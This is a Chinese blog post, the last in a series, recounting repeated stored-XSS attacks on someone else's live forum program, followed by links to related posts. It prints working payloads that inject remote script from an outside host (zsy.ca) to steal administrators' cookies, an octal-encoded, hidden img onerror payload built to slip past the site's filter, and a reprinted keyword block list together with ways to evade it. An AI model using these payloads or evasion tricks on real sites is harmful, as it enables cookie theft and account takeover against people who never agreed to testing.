这真是最后一次了。真的再不逗这个程序员了。和预期一样,勤奋的程序员今天又更新程序了。因为前面写的payload都有一个致命的弱点,就是document.write()会完全破坏DOM结构。而且再“完事儿”之后,还不会跳转到本应该跳转的页面。所以还是那么容易就被发现了。(也包括我犯贱老找别人网站做测试)
反思

昨天在去便利店买烟的时候,发现了自己犯的一个错误。就当是纠正一下前面的2篇吧。当我们的JS是在script标签内的时候,像这样:

<script>document.write(123)</script>

我们是需要规规矩矩的写上这个document的。但是在事件也就是所谓的on*属性当中,调用write方法时,实际上是不许要写document的。所以我们可以直接这样:

<p onmouseover=write(123)>

这样一来,也就不用去关心document是否被过滤了。也就没有前面那么些个问题了。不过过去的事儿就过去了。让我们谈谈接下来的事儿。
针对于插入后不能跳转和破坏页面结构的问题,我最终作出了这样的一个决定:

<p onclick="head.appendChild(createElement('\163cript')).src='//zsy.ca/33';setTimeout(/location.href='view.php?id=147'/.source,2000)">0</p>

试着创建子节点,而放弃蛮力的write().然后为了给自己的js一点时间避免把取cookie的事儿给耽误了我就再次用上了setTimeout().让它插入js的2秒后再跳转到这个标题所属的内容页。不过这个问题可能是我多虑了,也可能会出现瞬间就跳过去取不到cookie的情况吧。
  然而在这次测试期间,我又发现了一个新的输出点。就是我们提交的标题会在内容页输出到一个input里面,像这样:

<input id=title value="输出">

尴尬的是,他这个点对"<"和">"做了html编码,却把双引号给忘了。所以我们只要在标题出写上:

<p " onfocus=alert(1) autofocus >求助</p>

这里写到标签内是为了防止测漏。不然别人一看就看出来这玩意儿不对劲儿了。管理员打开内容页以后就中招了。虽然在显示帖子标题的页面当中我们没有测漏,但是在内容页,因为我们的这么一插,有类似于 size="xx"> 之类的给露出来了.又不能开启新的标签(因为被"<",">"编码过了)怎么办呢?想了想html也可以用单引号,比如说:

<img src='x' onerror='alert(1)'>

也是可以的。那么我们就可以在标题处写上:

<p " onfocus=alert(1) autofocus close='>求助</p>
 

再在内容里写上:

   '<p>帮帮我吧!

我们就机智的把测漏给拦住了。
  不过经过我这么一折腾,这程序有问题的事儿,又给闹穿帮了(都不容易啊)。这次不一样的是我拿到补丁了。让我们看看他的过滤代码是怎么写的吧:

function checkscript(intostr) 

02.intostr=Replace(Replace(Replace(Replace(Replace(Replace(Replace(Replace(Replace(Replace(Replace(LCase(intostr),"<br",""),"<p>",""),"</p>",""),"<font",""),"</font>",""),"strong",""),"<>",""),"</>",""),"<td",""),"<tr",""),"<tab","")

03.intostr=Replace(Replace(Replace(Replace(Replace(Replace(Replace(Replace(Replace(Replace(intostr,"</td",""),"</tr",""),"</tab",""),"<img ",""),"<u",""),"</u>",""),"<a ",""),"</a",""),"<b>",""),"</b>","")

04.intostr=Replace(Replace(intostr,"<li>",""),"</li","")

05.intostr=Replace(Replace(intostr,"<span",""),"</span","")

06.intostr=Replace(Replace(intostr,"<p ",""),"</p>","")

07.intostr=Replace(Replace(intostr,"< ","<"),"<class","")

08.intostr=Replace(Replace(intostr,"<tbody",""),"<div","")

09.intostr=Replace(Replace(intostr,"</div>",""),"</tbody","")

10.If InStr(intostr," on") Or InStr(intostr,"<") Or InStr(intostr,"scr") Or InStr(intostr,"\u") or InStr(intostr,"%3c") Or InStr(intostr,"&#") Or InStr(intostr,"char") Or InStr(intostr,"eval")  Or InStr(intostr,"docum") Or InStr(intostr,"exec") Or InStr(intostr,"declare") Or InStr(intostr,"onmou") Or InStr(intostr,"oncl")  Or InStr(Replace(intostr," ",""),"+'") Or InStr(Replace(intostr," ",""),"'+")  Or InStr(intostr,"'&lt;") Or InStr(intostr,"""on") Or InStr(intostr,"\x") Or InStr(intostr,"autofo") Or InStr(intostr,"d.app") Or InStr(intostr,").src") Or InStr(intostr,"var ") Or InStr(intostr,"+=")  Or InStr(intostr,"//") Then

11.checkscript=True

12.'response.write intostr

13.'response.end

14.Else

15.checkscript=false

16.End if

17.end Function

基本上和我黑盒测试的结果是没有什么偏差的。当然从新的修补方案中不难看出,是真的被我搞穿帮了( )。看到100个replace我就对阅读这段代码没有什么兴趣了。简单做了下测试发现。这次终于对标题处做了htmlencode处理。也就是说不能再完了。那么作为富文本最基本的功能发图,还能用么?简单的插了个

test<img>

发现插进去后,变成了:

test<img src="">

搞到这儿有两个问题。发现" on"会被拦截。但是和前面提到的一样空格有很多替代品。具体的,可以看下下面的fuzz结果:

用哪个看你喜欢了,不过应该注意的是斜杠只能用来分割标签名和属性。是不能用来分割多个属性的。然后他又先后通过过滤"&#","\u","\x"过滤了4种编码。但是又测漏一个octal.把在子节点上创建script并指定src的部分用octal编一下码,再把空格替换成[0x0c].最后为了防止图片的小框框会泄漏我们的霸气。再一次通过style来设定一下不显示图片。就有了下面的payload:

<img src=x [0x0c]onerror=setTimeout('\144\157\143\165\155\145\156\164\56\150\145\141\144\56\141\160\160\145\156\144\103\150\151\154\144\50\144\157\143\165\155\145\156\164\56\143\162\145\141\164\145\105\154\145\155\145\156\164\50\47\163\143\162\151\160\164\47\51\51\56\163\162\143\75\47\57\57\172\163\171\56\143\141\57\62\47',0) [0x0c]style=display:none>

搞到这儿,和这套程序的斗争就算是告一段落了。thx for reading!

补充内容 (2013-12-27 12:18):
写急了
把<p " onfocus=alert(1) autofocus close='>求助</p>改成:
求助<p " onfocus=alert(1) autofocus close='></p>就对了
sry

一次有趣的XSS漏洞挖掘分析(3)最终篇的更多相关文章

  1. (转) exp1-1:// 一次有趣的XSS漏洞挖掘分析(1)

    from http://www.cnblogs.com/hookjoy/p/3503786.html 一次有趣的XSS漏洞挖掘分析(1)   最近认识了个新朋友,天天找我搞XSS.搞了三天,感觉这一套 ...

  2. 一次有趣的XSS漏洞挖掘分析(1)

    最近认识了个新朋友,天天找我搞XSS.搞了三天,感觉这一套程序还是很有意思的.因为是过去式的文章,所以没有图.但是希望把经验分享出来,可以帮到和我一样爱好XSS的朋友.我个人偏爱富文本XSS,因为很有 ...

  3. 一次有趣的XSS漏洞挖掘分析(2)

    第一次和一套程序做了这么多次的斗争.今天基友又给我来信说,没得玩了.了解了下情况,是他拿着0day到处插,被人家发现了.还出了个公告,说所有***必须安装补丁.呵呵,性福总是走的这么突然.这乐子一下就 ...

  4. (转) exp1-2://一次有趣的XSS漏洞挖掘分析(2)

      第一次和一套程序做了这么多次的斗争.今天基友又给我来信说,没得玩了.了解了下情况,是他拿着0day到处插,被人家发现了.还出了个公告,说所有***必须安装补丁.呵呵,性福总是走的这么突然.这乐子一 ...

  5. (转) exp1-3://一次有趣的XSS漏洞挖掘分析(3)最终篇

      这真是最后一次了.真的再不逗这个程序员了.和预期一样,勤奋的程序员今天又更新程序了.因为前面写的payload都有一个致命的弱点,就是document.write()会完全破坏DOM结构.而且再“ ...

  6. xss漏洞挖掘小结

    xss漏洞挖掘小结 最近,在挖掘xss的漏洞,感觉xss真的不是想象的那样简单,难怪会成为一类漏洞,我们从防的角度来讲讲xss漏洞的挖掘方法: 1.过滤 一般服务器端都是采用这种方式来防御xss攻击, ...

  7. 记一次隐秘的XSS漏洞挖掘

    前言 在为某客户网站做渗透测试时发现一个有趣的事情.当我访问该网站的某条链接时服务器返回的是404页面.看到这里我当时就下意识的忽略它,但是后来又想了想这也不是完全没有价值,毕竟中间件及其版本都出来了 ...

  8. Xss漏洞原理分析及简单的讲解

    感觉百度百科 针对XSS的讲解,挺不错的,转载一下~   XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XS ...

  9. 记一次xss漏洞挖掘

    博客园在整改中,无法更新文章,难受啊... 记录一次react的xss漏洞发现,比较有意思: 某个站: 直接输入<xxx>,直接把我跳转到了404,猜测可能做了一些验证: 尝试多重编码,发 ...

随机推荐

  1. 用DOM4J解析XML文件案例

    用DOM4J解析XML文件案例,由于DOM4J不像JAXP属于JAVASE里,所以如果要使用DOM4J,则必须额外引入jar包,如图:

  2. 【JS】两种计时器/定时器

    1.首先介绍定时器 定时器:设置一个定时器,再设置一个等待的时间,到达指定时间后,执行对应的操作 两种定时器:用法一样,区别一个执行后不会停下来,一个只执行一次 第一种:window.setInter ...

  3. ettercap局域网内DNS欺骗(隔壁的哥们轻一点 ...)

    转自:http://www.cnblogs.com/hkleak/p/5043063.html 笔记一:ettercap是什么? 我们在对WEB安全检测的时候都会用到Cain和netfuke这两款工具 ...

  4. hdu 1087 Super Jumping! Jumping! Jumping! 简单的dp

    Super Jumping! Jumping! Jumping! Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 65536/32768 ...

  5. js倒计时(可定义截止日期)

    <div id="times_wrap" class="time_num"> 距离结束时间: <div class="time_w& ...

  6. 我的c++学习(3)字符的输入输出

    #include "stdafx.h" #include<iostream> using namespace std; int main(void) { /* char ...

  7. Codeforces 696D Legen...(AC自动机 + 矩阵快速幂)

    题目大概说给几个字符串,每个字符串都有一个开心值,一个串如果包含一次这些字符串就加上对应的开心值,问长度n的串开心值最多可以是多少. POJ2778..复习下..太弱了都快不会做了.. 这个矩阵的乘法 ...

  8. varchar和Nvarchar区别

    http://www.cnblogs.com/yelaiju/archive/2010/05/29/1746826.html Unicode字符集就是为了解决字符集这种不兼容的问题而产生的,它所有的字 ...

  9. Linux 启动项介绍

    1. init进程 非内核进程中第一个被启动运行的,因此它的进程编号PID的值总是1.init读它的配置文件/etc/inittab,决定需要启动的运行级别(Runlevel,分别由0到6的整数表示) ...

  10. 解决iPhone中overflow:scroll;滑动速度慢或者卡的问题

    在移动端html中经常出现横向/纵向滚动的效果,但是在iPhone中滚动速度很慢,感觉不流畅,有种卡卡的感觉,但是在安卓设备上没有这种感觉; 要解决这个问题很简单: 一行代码搞定 -webkit-ov ...